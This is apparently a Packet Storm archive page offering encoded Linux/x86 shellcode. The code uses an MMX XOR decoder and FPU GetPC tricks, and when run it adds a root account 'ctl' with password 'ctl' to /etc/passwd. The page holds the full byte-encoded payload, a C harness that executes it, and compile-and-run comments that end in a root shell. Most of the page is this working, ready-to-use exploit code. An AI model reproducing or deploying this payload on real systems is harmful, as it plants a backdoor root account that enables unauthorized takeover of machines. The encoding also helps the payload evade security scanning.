what you don't know can hurt you

Linux/x86 Dynamic MMX+FPU Encoded Add Root User Shellcode

Linux/x86 Dynamic MMX+FPU Encoded Add Root User Shellcode
Posted Apr 24, 2020
Authored by Bobby Cooke

155 bytes small Linux/x86 shellcode that has a MMX stub decoder that dynamically decodes the payload in memory. The FPU GetPC technique is used to determine the offset from EIP dynamically in running memory. Once decoded. this shellcode adds the user 'ctl' with the password 'ctl' to the /etc/passwd file with the UID and GID of 0 (root). This shellcode uses legacy passwd functionality. Therefore the /etc/shadow file does not need to be accessed or modified.

tags | x86, root, shellcode
systems | linux
MD5 | b4cd1c73f54aff707a22b55b2944bd8d

Linux/x86 Dynamic MMX+FPU Encoded Add Root User Shellcode

Change Mirror Download
// Shellcode Title:  Linux/x86 - Dynamic MMX+FPU Encoded Add Root User Shellcode (155 bytes)
// Shellcode Author: Bobby Cooke
// Date: 2020-04-24
// Description: This shellcode has a MMX stub decoder that dynamically decodes the payload in memory. The FPU GetPC technique is used to determine the offset from EIP dynamically in running memory. Once decoded. this shellcode adds the user 'ctl' with the password 'ctl' to the /etc/passwd file; with the UID & GID of 0 (root). This shellcode uses legacy passwd functionality. Therefor the /etc/shadow file does not need to be accessed or modified.
// Usage:
// root# gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
// root# cat /etc/passwd | grep 0:0
// root:x:0:0:root:/root:/bin/bash
// root# ./shellcode
// Shellcode Length: 155
// root# cat /etc/passwd | grep 0:0
// root:x:0:0:root:/root:/bin/bash
// ctl:NNwZ8D1QjVy3Y:0:0::/:/bin//sh
// root# exit
// user$ su ctl
// Password: ctl
// # id
// uid=0(root) gid=0(root) groups=0(root)

#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\xd9\xee" // fldz ; x87 FPU - Get EIP Technique
"\x9b\xd9\x74\x24\xf4" // fstenv [esp -0xc] ; push EIP at fldz instr to stack
"\x5f" // pop edi ; pop EIP fldz location to EDI
"\x83\xc7\x28" //add edi, 0x28 ; set EDI to memory location of mmx_XOR
"\x0f\x6f\x1f" // movq mm3, qword [edi]; use instructions located here as the XOR decoder
"\x8d\x77\x08" // lea esi, [edi +8] ; set ESI to payload location
"\x31\xc9" // xor ecx, ecx ; clear ECX
"\x41" // inc ecx ; inc ECX to 1
// decode:
"\x0f\x6f\x2e" // movq mm5, qword [esi] ; move 8 bytes of encoded payload to MM3
"\x0f\xef\xeb" // pxor mm5, mm3 ; XOR MM5 with MM3
"\x0f\x7f\x2e" // movq qword [esi], mm5 ; overwrite 8 bytes of encoded payload with decoded
"\x83\xc6\x08" // add esi, 0x8 ; move ESI to the next 8 encoded bytes
"\x83\xf9\x0e" // cmp ecx, 0xe ; is payload decoded?
"\x74\x0b" // je payload ; if decoded, execute payload
"\x41" // inc ecx ; if not, decode next 8 byte
"\xeb\xec" // jmp short decode ; jump to start of decode loop
"\xcc\xee\xd9\xee\xcc\xd9\xd9\xcc" // MMX Decoder Key
// encodedPayload:
// Add Root User to /etc/passwd - user:ctl & pass:ctl
"\x27\xc9\x87\xdf\x0c\x89\x54\xd8\xe8\x11\xaf\xc4\x33\xaf\xff\x41"
"\xc0\xca\x51\xa8\xce\x51\x9f\xf1\x9c\x63\x87\xed\x9f\x54\xc7\x9f"
"\x45\x25\x8a\x67\x2d\x69\xd2\x01\x4c\x06\x0d\x11\x33\x26\xf4\xaf"
"\xef\xc1\xbb\x87\xa2\xf6\xbc\xaf\xa4\x81\xf9\x8d\xb8\xb5\xe3\x82"
"\x82\x99\x83\xd6\x88\xe8\x88\xa6\x9a\x97\xea\xb7\xf6\xe9\xe3\xfc"
"\xf6\xd4\xf6\xd4\xe3\xbb\xb0\xa2\xe3\xc1\xaa\x86\xec\xe7\xe7\xec"
"\xe3\x8b\xad\x8d\xe3\xa9\xb8\xbf\xbf\x99\xbd";
int main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Login or Register to add favorites

File Archive:

July 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    15 Files
  • 2
    Jul 2nd
    19 Files
  • 3
    Jul 3rd
    12 Files
  • 4
    Jul 4th
    1 Files
  • 5
    Jul 5th
    2 Files
  • 6
    Jul 6th
    25 Files
  • 7
    Jul 7th
    35 Files
  • 8
    Jul 8th
    4 Files
  • 9
    Jul 9th
    9 Files
  • 10
    Jul 10th
    7 Files
  • 11
    Jul 11th
    4 Files
  • 12
    Jul 12th
    4 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close